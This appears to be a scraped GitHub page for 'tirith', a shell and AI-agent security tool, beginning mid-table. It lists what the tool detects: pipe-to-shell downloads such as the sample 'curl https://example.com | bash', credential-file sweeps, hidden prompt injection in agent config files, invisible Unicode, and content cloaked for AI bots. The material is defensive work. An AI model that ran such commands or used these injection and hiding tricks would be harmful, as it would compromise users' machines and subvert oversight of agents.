Team PCP / UNC1069 tooling ongoing Post-compromise credential sweeps, /proc/*/mem scraping, Docker privilege escalation
colors.js / faker.js sabotage 2022 Author self-sabotage of widely-used packages
event-stream compromise 2018 Transferred ownership to attacker; payload targeted Bitcoin wallets

Package-name extraction currently covers language ecosystems (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), not distro-level package managers (apt / dnf / yum / pacman). That's why xz-utils, which entered through Linux distro tarballs, is not in the table despite being a headline incident.


AI agent security

Tirith adds several independent protection layers around AI coding agents: config scanning, cooperative MCP tools, an MCP gateway, interactive-shell hooks, and host-native pre-tool hooks where the host exposes a documented blocking contract. Coverage depends on which layer the host actually loads.

Shell hooks, passive command interception

When an AI agent executes through a hooked interactive shell (Claude Code, Codex, Cursor, etc.), tirith's shell hook checks that interactive command before the shell accepts it. This does not cover a non-interactive shell, a direct exec, or an agent process that never loaded the hook:

  • Blocks dangerous commands: homograph URLs, pipe-to-shell, insecure downloads
  • Blocks malicious paste: ANSI injection, bidi attacks, hidden multiline in pasted content
  • Agent-independent interactive gate: no agent-specific integration is needed when that agent actually uses the protected interactive shell
  • Zero agent modification: the agent doesn't know tirith exists until a command is blocked

Use tirith setup <tool> for one-command configuration (see AI Agent Integrations).

MCP server (6 cross-platform tools; 7 on Unix)

Run tirith mcp-server or use tirith setup <tool> --with-mcp to register tirith as an MCP server. AI agents can call these tools before taking action:

Tool What it does
tirith_check_command Analyze shell commands for pipe-to-shell, homograph URLs, env injection
tirith_check_url Score URLs for homograph attacks, punycode tricks, shortened URLs, raw IPs
tirith_check_paste Check pasted content for ANSI escapes, bidi controls, zero-width chars
tirith_scan_file Scan a file for hidden content, invisible Unicode, config poisoning
tirith_scan_directory Recursive scan with AI config file prioritization
tirith_verify_mcp_config Validate MCP configs for insecure servers, shell injection in args, wildcard tools
tirith_fetch_cloaking Detect server-side cloaking (different content for bots vs browsers)

The default tools/list is a frozen compatibility contract, because clients cache it and a tool that appears unannounced changes what an agent believes it may call. A preview tool, tirith_check_task, is therefore not advertised by default: run TIRITH_MCP_PREVIEW=1 tirith mcp-server to advertise it, and without that opt-in a client that calls it by name is refused by name. See docs/task-envelope.md.

MCP server governance

tirith mcp lock captures every MCP server a repository declares, across .mcp.json / mcp.json / mcp_settings.json and the IDE config variants (.vscode/, .cursor/, .windsurf/, .cline/, .amazonq/, .continue/, .kiro/), into a deterministic lockfile at .tirith/mcp.lock. Each server is recorded with its transport (a remote URL, or a local command + args), declared tools, coverage metadata, and a content hash; servers are sorted by name/source so the lockfile is diff-friendly. Ambiguous or credential-bearing declarations are refused instead of copied into source control. Environment values and URL userinfo are represented only by fixed presence markers, never by raw values or deterministic hashes: adding/removing a variable or userinfo still drifts, while secret rotation intentionally does not. V7 lockfiles require one explicit re-lock to migrate to this v8 privacy model. Discovery is repo-local only and touches no network. (tirith mcp is a separate command group from tirith mcp-server, which runs tirith as an MCP server.)

tirith mcp verify is the gating companion: it rebuilds the current inventory against the committed lockfile and exits 1 on drift or incomplete/rejected config coverage (0 match, 2 on usage errors like a missing lockfile). tirith mcp diff reports the same drift informationally (always exit 0, 2 only on usage errors, so a consumer can tell "no drift" from "could not check"). Drift also surfaces through tirith scan as mcp_server_drift (Medium or High), so a pre-commit hook or CI catches an MCP-surface change the way it catches an un-pinned action. verify / diff never print env values or URL userinfos, only the names of what changed.

Two policy fields govern what is accepted. Both are keyed by an opaque mcp:v1:... identity binding source path, server name, and transport: scan.trusted_mcp_servers suppresses that exact server's config findings and drift, while scan.mcp_allowed_tools declares the exact tools it may expose. Bare names intentionally match nothing, so a same-named server in another config cannot inherit trust. An explicit tool allow-list also requires an operator-approved live descriptor set and checks both static declarations and live descriptor names. Run tirith mcp policy init to scaffold the exact keys into .tirith/mcp-policy.yaml.example, then use the gateway's --mcp-server-identity ... --approve-descriptors flow to capture an inspected tools/list baseline atomically. Every scaffold entry is commented out so importing never silently widens trust.

Config file scanning

tirith scan detects prompt injection and hidden payloads in AI config files. It prioritizes and scans 50+ known AI config file patterns:

  • .cursorrules, .windsurfrules, .clinerules, CLAUDE.md, copilot-instructions.md
  • .claude/ settings, agents, skills, plugins, rules
  • .cursor/, .vscode/, .windsurf/, .cline/, .continue/, .roo/, .codex/ configs
  • mcp.json, .mcp.json, mcp_settings.json
  • .github/copilot-instructions.md, .github/agents/*.md

What it catches in configs:

  • Prompt injection (skill activation triggers, permission bypass attempts, safety dismissal, identity reassignment, cross-tool override instructions). Each file is scanned both raw and deobfuscated (invisible characters, confusables, inter-character spacing, leetspeak, short base64 / hex), so a seed hidden behind encoding still fires
  • Invisible Unicode: zero-width characters (including Mongolian Vowel Separator), bidi controls, soft hyphens, Unicode tags, Hangul fillers, invisible whitespace encoding, math alphanumeric confusables
  • MCP config issues: insecure HTTP connections, raw IP servers, shell metacharacters in args, duplicate server names, wildcard tool access

CI / repo supply-chain scanning

tirith scan also inspects the files a repo checks in to describe its own build and deploy pipeline. It detects the dangerous pattern, not the tool: a SHA-pinned action, a digest-pinned image, a local Terraform module, and a normal package.json stay clean.

What it catches in CI / infrastructure files:

  • GitHub Actions workflows (.github/workflows/*.yml), an action uses: reference pinned to a mutable ref (@v3, @main) instead of a commit SHA; the pull_request_target trigger; a curl … | bash pipe-to-shell in a run: step; an attacker-controllable ${{ github.event.* }} value interpolated into a run: shell step (script injection)
  • Dockerfiles: a FROM base image on the mutable latest tag (or no tag) with no @sha256: digest pin
  • Terraform (*.tf), a module block sourced from a remote / untrusted location rather than a local path or the Terraform Registry
  • Helm charts (Chart.yaml), a chart dependency from an untrusted chart repository
  • package.json: a preinstall / install / postinstall lifecycle script that runs a dangerous command (pipe-to-shell, obfuscated payload, download-and-run); these hooks run automatically on npm install

Three built-in --profile values tune the scan: ci-hardening (every check at full strength, fail-on high), ai-agent-repo (keeps injection findings, drops low-value pinning-hygiene noise), and oss-maintainer (emphasises contributor-controllable risk when reviewing a change).

tirith scan ./                          # scan the repo
tirith scan --profile ci-hardening ./   # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif

Hidden content detection

Detects content invisible to humans but readable by AI in HTML, Markdown, and PDF:

  • CSS hiding: display:none, visibility:hidden, opacity:0, font-size:0, off-screen positioning
  • Color hiding: white-on-white text, similar foreground/background (contrast ratio < 1.5:1)
  • HTML/Markdown comments: prompt injection phrases (High), destructive commands like rm -rf or curl|bash (Medium), long comments hiding instructions (Low)
  • PDF hidden text: sub-pixel rendered text (font-size < 1px) invisible to readers but parseable by LLMs

AI-relevant file hidden-content scanning

tirith scan also inspects file types an AI coding agent (or a renderer) reads and acts on, looking for content smuggled past a human reviewer. A normal notebook, an ordinary CLAUDE.md with visible instructions, and a plain SVG image stay clean, only hidden / smuggled content fires.

  • Jupyter notebooks (*.ipynb), invisible / bidi / zero-width characters in cell source, a base64-encoded blob embedded in source, a cell hidden from the rendered view (metadata.jupyter.source_hidden / a hide_input tag), and cell outputs carrying invisible characters or active / hidden HTML
  • AI agent-instruction files (CLAUDE.md, AGENTS.md, .cursorrules, and similar), hidden directives only: an instruction inside an HTML comment (invisible in rendered Markdown) or a visually-hidden HTML element. These files legitimately contain visible instructions, so ordinary visible instructions never fire
  • SVG images (*.svg), an embedded <script>, an inline on* event handler, a javascript: URI, a remote xlink:href / href, or an XXE external-entity declaration

Cloaking detection

tirith fetch compares server responses across 6 user-agents (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) to detect when servers serve different content to AI bots vs browsers.


Operational context & workstation guards

Beyond single commands, several command groups extend the gate to your operating context and workstation state. The ones that touch the hot path are opt-in (a policy flag); the rest run on demand.

Operational context (tirith context, ssh, iac, sudo). Label your prod cloud / Kubernetes contexts and SSH hosts once, and tirith escalates what matters: a destructive command against a labeled-prod context, an SSH to a labeled-prod host, a Terraform / Pulumi / OpenTofu apply with no matching saved plan, or a sudo escalation without a reasoned session window. Labels live in ~/.config/tirith/context-labels.yaml and ssh-host-labels.yaml (or repo-scoped under .tirith/).

Workstation hygiene (tirith hygiene, persistence, aliases, env, exec, path, hooks). Scan for loose-permission credential files and plaintext tokens (~/.ssh, ~/.aws, ~/.kube, .npmrc, .pypirc), diff the persistence footholds an attacker uses (shell rc, authorized_keys, crontab, LaunchAgents / systemd-user units, git core.hooksPath), flag aliases that shadow critical commands or read credentials, audit $PATH for hijack ordering, and report a binary's provenance (package owner, code signature, whether it shadows a system command).

Blast radius & isolation (tirith preview, watch, temp-run, taint, intend, baseline). Preview the filesystem impact of a destructive command before you run it, diff what a command actually changed afterward, run an untrusted command in a throwaway directory, and track files downloaded from risky sources so executing one later fires a finding. temp-run changes only the working directory; it is file isolation, not a sandbox.

Trust, attestation & incident response

  • Command attestations (tirith command-card) sign a known-good command with an ed25519 key; a trusted card that no longer matches the command fires High.
  • Repo command manifest (tirith commands) is a .tirith/commands.yaml allowlist that quiets the unknown-command note for cleared commands and adds an elevation-only dangerous[] list (it can tighten a verdict, never weaken one).
  • Honeytokens (tirith canary) plant clearly-synthetic canary tokens; a touch in any checked command, paste, or tool output fires High. Detection is a local store lookup, not a shape match.
  • Secret rotation (tirith secret) reads recent credential findings from your audit log and prints provider-specific rotate / revoke steps for 11 providers. It never rotates anything itself and makes no network calls.
  • Incident mode (tirith incident) declares an "under attack" posture: it forces fail_mode: closed, disables the TIRITH=0 bypass, and elevates the credential-sweep, decode-execute, and suspicious-binary rules until you stop it.

Output, paste & sharing safety

  • Output-direction defense (tirith view, tirith output, gateway run --filter-output, and secure-by-default mcp-server) neutralizes terminal-deception escapes in command, MCP tool, and resource-read output: OSC 52 clipboard writes, fake prompts, OSC 8 hyperlink mismatch, and title / clear-screen manipulation. It also scans output for prompt injection (raw and deobfuscated) and data-exfiltration beacons. Add custom seeds with injection_seeds_custom, and opt in to redacting an injection-only MCP block to a warning (instead of blocking the whole output) with mcp_redact_injection. The legacy mcp-server --unsafe-unsanitized-tool-output escape hatch is not recommended.
  • Audience-aware redaction (tirith share, tirith redact, tirith logs) strips secrets and customer / tenant IDs before you paste into a GitHub issue, Slack, an LLM, or a public paste.
  • Paste provenance (tirith paste --with-source, tirith browser). With the companion Chrome native-messaging host installed, tirith attributes a pasted command to its source page and flags a paste whose source host differs from where the command runs.

Install

macOS

Homebrew:

brew install tirith

Linux Packages

Debian / Ubuntu (.deb):

Download from GitHub Releases, then:

sudo dpkg -i tirith_*_amd64.deb

Fedora / RHEL / CentOS 8+ and Amazon Linux 2023 (.rpm):

Download from GitHub Releases, then:

sudo dnf install ./tirith-*.rpm

The Linux GNU release binaries target a GLIBC 2.28 ceiling. CI runs both x86_64 and aarch64 tarballs on AlmaLinux 8, Amazon Linux 2023, and Rocky Linux 9; the .deb and x86_64 .rpm contain those same canonical binaries.

Arch Linux (AUR):

yay -S tirith
# or: paru -S tirith

Nix:

nix profile install nixpkgs#tirith              # from nixpkgs
nix profile install github:sheeki03/tirith      # from upstream flake
# or try without installing: nix run github:sheeki03/tirith -- --version

Android (Termux)

Android/Termux runs on Bionic libc, not glibc, so the aarch64-unknown-linux-gnu build cannot run there, it needs glibc's dynamic linker. Use the musl build instead: tirith-aarch64-unknown-linux-musl.tar.gz is statically linked and runs on Termux without an external libc.

# In Termux:
pkg install curl tar
# Download the musl build from the latest GitHub release:
curl -fsSL -o tirith.tar.gz \
  https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version

Then activate the shell hook in ~/.bashrc (Termux's default shell is bash):

eval "$(tirith init --shell bash)"   # add to ~/.bashrc

Note

Termux support is best-effort. The musl artifact is built and smoke-tested in CI, but tirith is not yet continuously tested on a real Android device. If a hook misbehaves under Termux, please open an issue with tirith doctor output.

Windows

Windows supports detection, scanning, webhooks, policy management, audit uploads, and tirith setup. The PowerShell hook provides PSReadLine preflight interception, but it does not claim a strict post-accept execution receipt. Live remote-script execution and daemon mode remain unavailable on Windows.

Scoop:

scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith

Chocolatey (community repository):

choco install tirith
# Upgrade an existing Chocolatey installation:
choco upgrade tirith

Chocolatey moderation can lag the GitHub release. Run choco info tirith to see the currently approved version. Use Scoop or a signed artifact from GitHub Releases when the newest release is required before Chocolatey moderation finishes.

Cross-Platform

npm:

npm install -g tirith

Cargo:

cargo install tirith

Mise (official registry):

mise use -g tirith

asdf:

asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest

Docker:

docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

Activate

Add to your shell profile (.zshrc, .bashrc, or config.fish):

eval "$(tirith init --shell zsh)"   # in ~/.zshrc
eval "$(tirith init --shell bash)"  # in ~/.bashrc
tirith init --shell fish | source   # in ~/.config/fish/config.fish
Shell Hook type Tested on
zsh accept-line + paste widgets 5.8+
bash enter-key macro or preexec (two modes) 3.2 compatibility path; 5.0+ for the fully tested modern path
fish Enter-key + paste handlers 3.5+
PowerShell PSReadLine handler 7.0+

Bash uses enter mode when a capability self-test has proven it works for your bash, and preexec otherwise. Since 0.4.1 that self-test passes on stock GNU bash, so enter mode is the ordinary outcome once tirith setup or tirith doctor has run it; the shell hook reads the cached verdict at startup. See troubleshooting for details on the modes, the self-test, and SSH fallback behavior.

macOS's system Bash 3.2 remains a compatibility path, not the modern blocking baseline. Its DEBUG-trap behavior can prevent the trampoline from sticking; Tirith announces the resulting degradation when its heartbeat can observe it, which may be one command later. Use Bash 5+ or a proven enter-mode path when a strict Bash authorization gate is required.

Warning

Bash's preexec mode is warn-only by default. Set TIRITH_BASH_PREEXEC_ENFORCE=1 for conditional blocking. Tirith scans the trustworthy typed line once, enables its own extdebug only after a block verdict, and releases it before PROMPT_COMMAND runs. If prompt boundaries or a caller-owned DEBUG trap cannot be preserved safely, or extdebug is already user-enabled, Tirith visibly leaves preexec interception off instead of clobbering shell state.

Enforcement by shell
Shell Behavior
bash enter mode Reliable blocking. Binds Enter to a readline macro that runs the checker and then a guarded accept-line, so a command can be stopped before bash commits to running it. Selected wherever the capability self-test (tirith doctor --simulate-enter) has proven delivery and blocking for the running bash, which since 0.4.1 it does on stock GNU bash. A persisted safe-mode flag, an SSH session, or a forced TIRITH_BASH_MODE=preexec still selects preexec.
bash preexec + TIRITH_BASH_PREEXEC_ENFORCE=1 Conditional blocking. Scans one trustworthy whole line, then turns on Tirith-owned extdebug only for a block and restores it at the next prompt. Existing string/array PROMPT_COMMAND entries keep their order and run outside scanning. Enforcement visibly refuses or downgrades when history is filtered or an alias / command substitution / eval makes the typed line drift from BASH_COMMAND; unsafe prompt/DEBUG ownership or user-owned extdebug leaves interception explicitly off rather than mutating user state.
bash preexec (no enforce flag) Warn-only. Prints a DETECTED banner on risky commands; does not block. The fallback when the enter-mode self-test has not proven delivery works, or when enter mode is otherwise unavailable.
zsh, fish Reliable blocking in their Enter/accept-line handlers, before the native shell handoff. Notification-only preexec events are not treated as authorization gates.
PowerShell Reliable PSReadLine preflight blocking; no strict execution receipt.
nushell Warn-only (does not currently support command interception).

For line-level blocking on bash, run tirith doctor --simulate-enter; if delivery works, enter mode is enabled. Where it does not, use preexec enforce for "blocks when possible; tells you honestly when it can't."

Interactive bash, zsh, and fish use a protocol-v3 execution receipt after the preflight decision. At hook load, they resolve and pin one absolute Tirith executable and register a one-time capability bound to the live shell process, shell family, session, user, and executable identity. A receipt then moves through Prepared, Armed, Consuming, and a terminal Committed/Conflict/Discarded state. This improves attribution and replay resistance, but shell evidence is deliberately recorded as unresolved rather than proof that every command component executed. Tirith itself owns any approval or warning-acknowledgement prompt before returning an armed receipt; the hook cannot attach those facts later. Zsh and fish consume the armed receipt synchronously in the same line-acceptance handler and hand the command to the native shell only after that transition succeeds. PowerShell has preflight blocking without this strict receipt protocol.

A nested shell receives its own process-bound capability even when it inherits the session ID. Re-sourcing the hook in the same process never mints another bearer. If exec replaces a live shell without changing its PID/start identity, the replacement cannot recover the deliberately non-exported bearer and runs in visibly degraded legacy mode; start a fresh terminal or child shell to restore strict receipts. exec "$SHELL" is not a receipt-protocol restart because it preserves that process identity.

Nix / Home-Manager: tirith must be in your $PATH when the hook is sourced. Bash, zsh, and fish then pin that resolved executable for the shell session; restart the shell after replacing or upgrading the binary. Adding it to initContent alone is not enough.

home.packages = [ pkgs.tirith ];

programs.zsh.initContent = ''
  eval "$(tirith init --shell zsh)"
'';

Updating and verifying tirith

tirith can verify its own integrity and update itself. Both commands reach the network only when you run them.

tirith verify-self          # is this binary the genuine, unmodified release?
tirith update               # update to the latest release
tirith version --provenance # version, build info, install method, verification

tirith verify-self confirms the running binary is the genuine, unmodified binary from an official release. It re-downloads the release archive for your version and target, verifies it against the signed release checksums.txt, verifies the cosign signature over checksums.txt when cosign is installed, and confirms the running binary is byte-identical to the official one. If full verification is not possible, a local dev build, no network, an install tirith cannot identify, it says so honestly rather than reporting a false "verified". With cosign absent the checksum is still verified (reported as verified-checksum-only); install cosign for full signature verification (verified-signed).

tirith update is package-manager-aware:

  • Package-manager installs (Homebrew, cargo, npm, Scoop, AUR, apt/dnf) are never self-modified. tirith prints the exact command to run instead, e.g. brew upgrade tirith. Updating through the package manager keeps its database consistent.
  • Self-replaceable installs (the install.sh tarball, a standalone binary, or a securely owned Tirith release cached under a Hermes root (HERMES_HOME, or ~/.hermes when that variable is unset; Unix only)) are updated in place: tirith downloads the latest release, verifies it, then atomically swaps the binary, keeping the previous one as a tirith.tirith-previous sidecar. The cosign signature is verified by default: if it cannot be verified (cosign missing, or the release published no signature) the update aborts. Pass --allow-unsigned to fall back to checksum-only verification; a checksum mismatch always aborts regardless. tirith update --rollback reverts to the previous binary; --dry-run shows what would happen without changing anything. Updates remain explicit: Tirith never checks for or installs a new binary in the background.

Note

The install scripts (scripts/install.sh and the Windows install.ps1) also verify the release's cosign signature by default and abort if cosign is missing or the signature cannot be verified. Install cosign first, or set TIRITH_ALLOW_UNSIGNED=1 to install with checksum-only verification (not recommended). A checksum or signature mismatch always aborts regardless of this opt-out.

Shell Integrations

Oh-My-Zsh:

git clone https://github.com/sheeki03/ohmyzsh-tirith \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith

# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)

AI Agent Integrations

Use tirith setup <tool> for one-command configuration. This is the complete named setup surface, including both the earlier integrations and the additions released in 0.4.0:

Host Setup Protection layer installed by setup Scope
Claude Code tirith setup claude-code --with-mcp Blocking PreToolUse; MCP optional Project default or user
Cline tirith setup cline Blocking PreToolUse on POSIX and PowerShell, plus MCP; host runs the tool if the hook process fails User only; hooks must be enabled in Cline
OpenAI Codex tirith setup codex MCP gateway; optional non-interactive zsh guard with --install-zshenv User only
GitHub Copilot CLI tirith setup copilot-cli Blocking preToolUse hook Project only; launch from repo root
Continue tirith setup continue MCP only Project only
Cursor tirith setup cursor beforeShellExecution hook plus MCP gateway; optional zsh guard Project default or user
Vercel Labs fx tirith setup fx MCP only Trusted user profile only
Gemini CLI tirith setup gemini-cli --with-mcp Blocking BeforeTool; MCP optional Project default or user
Grok Build tirith setup grok-build POSIX PreToolUse plus MCP; host can fail open on hook error/timeout Project default or user
Kiro CLI tirith setup kiro Blocking agent-scoped preToolUse hook Project default or user; the Tirith-enabled agent must be loaded
OMP / Oh My Pi tirith setup omp Blocking tool_call guard plus MCP User/profile only
OpenClaw tirith setup openclaw Blocking before_tool_call plugin Project default or user
OpenCode tirith setup opencode(README truncated)

View on GitHub

Recent activity

commits and pull requests

Releases and announcements

90 total
  1. v0.4.2v0.4.2Sep 11, 20261.6M downloads

    # Tirith 0.4.2 release notes Tirith 0.4.2 is a reliability and performance patch for the 0.4 line. It fixes shell integration failures and ordinary-command false positives, restores reliable ThreatDB publication and reloads, and reduces repeated work in command analysis and diagnostics. It adds no top-level command. The [0.4.0 release notes](https://github.com/sheeki03/tirith/blob/v0.4.2/docs/release-notes-0.4.0.md) describe the feature set and platform boundaries; the [0.4.1 release notes](https://github.com/sheeki03/tirith/blob/v0.4.2/docs/release-notes-0.4.1.md) explain the Bash enter-mode behavior introduced by that release. ## Shells and everyday commands - **NixOS and non-FHS installations:** hooks resolve and pin trusted helper executables instead of assuming `/usr/bin` and `/bin` contain them. Ordinary commands are no longer discarded because those helper paths are absent ([#239](https://github.com/sheeki03/tirith/issues/239)). - **npm installations:** on Unix, initialization binds Bash, zsh, and fish hooks to the running native Tirith executable. The Node launcher no longer sits between the shell and receipt registration. Other platforms retain shell PATH r

  2. v0.4.1v0.4.1Sep 2, 20261.1M downloads

    # Tirith 0.4.1 release notes Tirith 0.4.1 is a patch release on the 0.4 line. It changes no schema, adds no command, and removes nothing. The [0.4.0 release notes](release-notes-0.4.0.md) remain the description of what the 0.4 line does; this document covers what 0.4.1 changes on top of it. One item here is a real behaviour change rather than a fix in the usual sense: bash now blocks. Read that section before upgrading a bash workstation. ## The headline: bash actually blocks now In 0.4.0 and every release before it, bash enter mode could not deliver a command. A bare `bind -x` on Enter runs the bound function but does not then accept the line on stock bash, so the hook captured the typed command and then dropped it. The capability self-test detected exactly that and correctly refused to enable enter mode, which is why 0.4.0 was safe. The cost was that every bash user fell back to warn-only preexec, and the only way to get real blocking on bash was `TIRITH_BASH_PREEXEC_ENFORCE=1`. Issues #111 and #224. 0.4.1 binds Enter to a readline macro instead: the macro runs the checker and then a guarded accept-line whose accept half is a no-op until the checker arms it. The prompt hook

  3. v0.4.0v0.4.0Aug 25, 2026884.8K downloads

    # Tirith 0.4.0 release notes Released 2026-08-25. This release integrates the work merged after 0.3.3 and publishes it through Tirith's protected, single-use release pipeline. ## Why 0.4.0 This is a new minor release rather than a 0.3.4 patch. It adds major public capabilities, commands, policy sections, document schemas, agent integrations, and platform-specific enforcement boundaries. `0.4.0` communicates that scope without skipping an unused 0.4 line. The project remains pre-1.0, so callers should read the compatibility notes below before upgrading. ## Release highlights ### Python artifact inspection and package firewall - Version intent preserves exact pins, ranges, compatible constraints, exclusions, and unresolved requirements through package threat assessment instead of flattening them to a package name. - `tirith package inspect` analyzes wheel files, sets of wheels, or installed environments without downloading them. - A bounded streaming wheel reader rejects traversal, collisions, encrypted entries, conflicting distribution metadata, CRC failures, decompression abuse, and ambiguous identities. - Wheel RECORD and installed-environment RECORD verification d

  4. Threat DB (rolling)threatdb-currentAug 25, 2026pre-release169.4K downloads

    Auto-updated threat-intelligence database (prerelease channel). Not a versioned download; tirith resolves it via the signed manifest. See #140.

  5. v0.3.3v0.3.3Jun 19, 20268.3M downloads

    ## What's Changed * State-file hardening, crash-atomic writes, and tier-1 test isolation by @sheeki03 in https://github.com/sheeki03/tirith/pull/145 * Prompt-injection evasion resistance, output exfil detection, and policy-loadable seeds by @sheeki03 in https://github.com/sheeki03/tirith/pull/147 * ci: pin all GitHub Actions to commit SHAs + add Dependabot by @sheeki03 in https://github.com/sheeki03/tirith/pull/148 **Full Changelog**: https://github.com/sheeki03/tirith/compare/v0.3.2...v0.3.3

Commits per week

last 52 weeks
5730Week of 2025-09-27: 0 commitsWeek of 2025-10-04: 0 commitsWeek of 2025-10-11: 0 commitsWeek of 2025-10-18: 0 commitsWeek of 2025-10-25: 0 commitsWeek of 2025-11-01: 0 commitsWeek of 2025-11-09: 0 commitsWeek of 2025-11-16: 0 commitsWeek of 2025-11-23: 0 commitsWeek of 2025-11-30: 0 commitsWeek of 2025-12-07: 0 commitsWeek of 2025-12-14: 0 commitsWeek of 2025-12-21: 0 commitsWeek of 2025-12-28: 0 commitsWeek of 2026-01-04: 0 commitsWeek of 2026-01-11: 0 commitsWeek of 2026-01-18: 0 commitsWeek of 2026-01-25: 0 commitsWeek of 2026-02-01: 59 commitsWeek of 2026-02-08: 24 commitsWeek of 2026-02-15: 102 commitsWeek of 2026-02-22: 87 commitsWeek of 2026-03-01: 4 commitsWeek of 2026-03-08: 4 commitsWeek of 2026-03-15: 11 commitsWeek of 2026-03-22: 7 commitsWeek of 2026-03-29: 30 commitsWeek of 2026-04-05: 29 commitsWeek of 2026-04-12: 0 commitsWeek of 2026-04-19: 40 commitsWeek of 2026-04-26: 0 commitsWeek of 2026-05-03: 10 commitsWeek of 2026-05-10: 7 commitsWeek of 2026-05-17: 78 commitsWeek of 2026-05-24: 125 commitsWeek of 2026-05-31: 69 commitsWeek of 2026-06-07: 43 commitsWeek of 2026-06-14: 95 commitsWeek of 2026-06-21: 133 commitsWeek of 2026-06-28: 19 commitsWeek of 2026-07-05: 7 commitsWeek of 2026-07-12: 16 commitsWeek of 2026-07-19: 7 commitsWeek of 2026-07-26: 100 commitsWeek of 2026-08-02: 573 commitsWeek of 2026-08-09: 44 commitsWeek of 2026-08-16: 157 commitsWeek of 2026-08-23: 75 commitsWeek of 2026-08-30: 37 commitsWeek of 2026-09-06: 15 commitsWeek of 2026-09-13: 7 commitsWeek of 2026-09-20: 5 commitsSep 27, 2025Sep 20, 2026
2K commits in the last 52 weeks.

When work happens

weekday and hour
SunMonTueWedThuFriSat036912151821Sun 0:00 — 18 commitsSun 1:00 — 8 commitsSun 2:00 — 5 commitsSun 3:00 — 8 commitsSun 4:00 — 4 commitsSun 5:00 — 5 commitsSun 6:00 — 6 commitsSun 7:00 — 6 commitsSun 8:00 — 7 commitsSun 9:00 — 4 commitsSun 10:00 — 2 commitsSun 11:00 — 2 commitsSun 12:00 — 0 commitsSun 13:00 — 6 commitsSun 14:00 — 8 commitsSun 15:00 — 5 commitsSun 16:00 — 3 commitsSun 17:00 — 6 commitsSun 18:00 — 18 commitsSun 19:00 — 11 commitsSun 20:00 — 9 commitsSun 21:00 — 19 commitsSun 22:00 — 14 commitsSun 23:00 — 13 commitsMon 0:00 — 10 commitsMon 1:00 — 14 commitsMon 2:00 — 15 commitsMon 3:00 — 14 commitsMon 4:00 — 15 commitsMon 5:00 — 11 commitsMon 6:00 — 7 commitsMon 7:00 — 10 commitsMon 8:00 — 11 commitsMon 9:00 — 10 commitsMon 10:00 — 21 commitsMon 11:00 — 7 commitsMon 12:00 — 5 commitsMon 13:00 — 12 commitsMon 14:00 — 11 commitsMon 15:00 — 8 commitsMon 16:00 — 6 commitsMon 17:00 — 8 commitsMon 18:00 — 7 commitsMon 19:00 — 10 commitsMon 20:00 — 11 commitsMon 21:00 — 10 commitsMon 22:00 — 6 commitsMon 23:00 — 7 commitsTue 0:00 — 9 commitsTue 1:00 — 4 commitsTue 2:00 — 5 commitsTue 3:00 — 2 commitsTue 4:00 — 9 commitsTue 5:00 — 5 commitsTue 6:00 — 9 commitsTue 7:00 — 9 commitsTue 8:00 — 8 commitsTue 9:00 — 5 commitsTue 10:00 — 4 commitsTue 11:00 — 2 commitsTue 12:00 — 10 commitsTue 13:00 — 8 commitsTue 14:00 — 1 commitsTue 15:00 — 14 commitsTue 16:00 — 11 commitsTue 17:00 — 12 commitsTue 18:00 — 2 commitsTue 19:00 — 3 commitsTue 20:00 — 3 commitsTue 21:00 — 12 commitsTue 22:00 — 34 commitsTue 23:00 — 24 commitsWed 0:00 — 19 commitsWed 1:00 — 7 commitsWed 2:00 — 5 commitsWed 3:00 — 6 commitsWed 4:00 — 2 commitsWed 5:00 — 2 commitsWed 6:00 — 6 commitsWed 7:00 — 1 commitsWed 8:00 — 7 commitsWed 9:00 — 11 commitsWed 10:00 — 2 commitsWed 11:00 — 3 commitsWed 12:00 — 5 commitsWed 13:00 — 2 commitsWed 14:00 — 10 commitsWed 15:00 — 13 commitsWed 16:00 — 6 commitsWed 17:00 — 20 commitsWed 18:00 — 18 commitsWed 19:00 — 8 commitsWed 20:00 — 9 commitsWed 21:00 — 6 commitsWed 22:00 — 14 commitsWed 23:00 — 12 commitsThu 0:00 — 13 commitsThu 1:00 — 7 commitsThu 2:00 — 4 commitsThu 3:00 — 0 commitsThu 4:00 — 0 commitsThu 5:00 — 0 commitsThu 6:00 — 4 commitsThu 7:00 — 3 commitsThu 8:00 — 6 commitsThu 9:00 — 6 commitsThu 10:00 — 5 commitsThu 11:00 — 3 commitsThu 12:00 — 7 commitsThu 13:00 — 5 commitsThu 14:00 — 56 commitsThu 15:00 — 19 commitsThu 16:00 — 46 commitsThu 17:00 — 49 commitsThu 18:00 — 56 commitsThu 19:00 — 43 commitsThu 20:00 — 16 commitsThu 21:00 — 37 commitsThu 22:00 — 48 commitsThu 23:00 — 40 commitsFri 0:00 — 24 commitsFri 1:00 — 21 commitsFri 2:00 — 2 commitsFri 3:00 — 4 commitsFri 4:00 — 5 commitsFri 5:00 — 1 commitsFri 6:00 — 2 commitsFri 7:00 — 3 commitsFri 8:00 — 7 commitsFri 9:00 — 2 commitsFri 10:00 — 0 commitsFri 11:00 — 7 commitsFri 12:00 — 13 commitsFri 13:00 — 17 commitsFri 14:00 — 84 commitsFri 15:00 — 42 commitsFri 16:00 — 19 commitsFri 17:00 — 25 commitsFri 18:00 — 21 commitsFri 19:00 — 22 commitsFri 20:00 — 16 commitsFri 21:00 — 25 commitsFri 22:00 — 30 commitsFri 23:00 — 12 commitsSat 0:00 — 16 commitsSat 1:00 — 14 commitsSat 2:00 — 11 commitsSat 3:00 — 15 commitsSat 4:00 — 6 commitsSat 5:00 — 3 commitsSat 6:00 — 11 commitsSat 7:00 — 6 commitsSat 8:00 — 7 commitsSat 9:00 — 1 commitsSat 10:00 — 10 commitsSat 11:00 — 7 commitsSat 12:00 — 7 commitsSat 13:00 — 36 commitsSat 14:00 — 71 commitsSat 15:00 — 4 commitsSat 16:00 — 14 commitsSat 17:00 — 7 commitsSat 18:00 — 6 commitsSat 19:00 — 12 commitsSat 20:00 — 17 commitsSat 21:00 — 5 commitsSat 22:00 — 16 commitsSat 23:00 — 9 